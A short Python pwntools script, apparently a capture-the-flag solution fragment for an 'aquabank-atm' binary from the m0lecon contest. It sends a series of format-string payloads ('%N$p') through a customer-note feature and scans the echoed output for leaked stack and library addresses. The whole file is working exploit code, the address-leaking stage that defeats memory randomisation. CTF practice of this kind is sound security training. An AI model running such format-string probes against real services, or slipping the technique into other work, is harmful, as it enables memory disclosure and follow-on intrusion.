19 lines
533 B
Python
19 lines
533 B
Python
from pwn import *
|
|
|
|
context.binary = elf = ELF("./aquabank-atm_patched", checksec=False)
|
|
p = process(elf.path)
|
|
# p = remote("offsec.m0lecon.it", 13523)
|
|
print(p.recvuntil(b"> "))
|
|
for i in range(1, 400):
|
|
p.sendline(b"1")
|
|
p.recvuntil(b"Type your customer note: ")
|
|
payload = f"%{i}$p"
|
|
p.sendline(payload.encode())
|
|
p.recvuntil(b"> ")
|
|
p.sendline(b"2")
|
|
p.recvuntil(b"--- Your customer note ---\n")
|
|
addr = p.recvline()
|
|
if b"0x7f" in addr:
|
|
print(f"Address:{addr} at pos:{i}")
|
|
p.recvuntil(b"> ")
|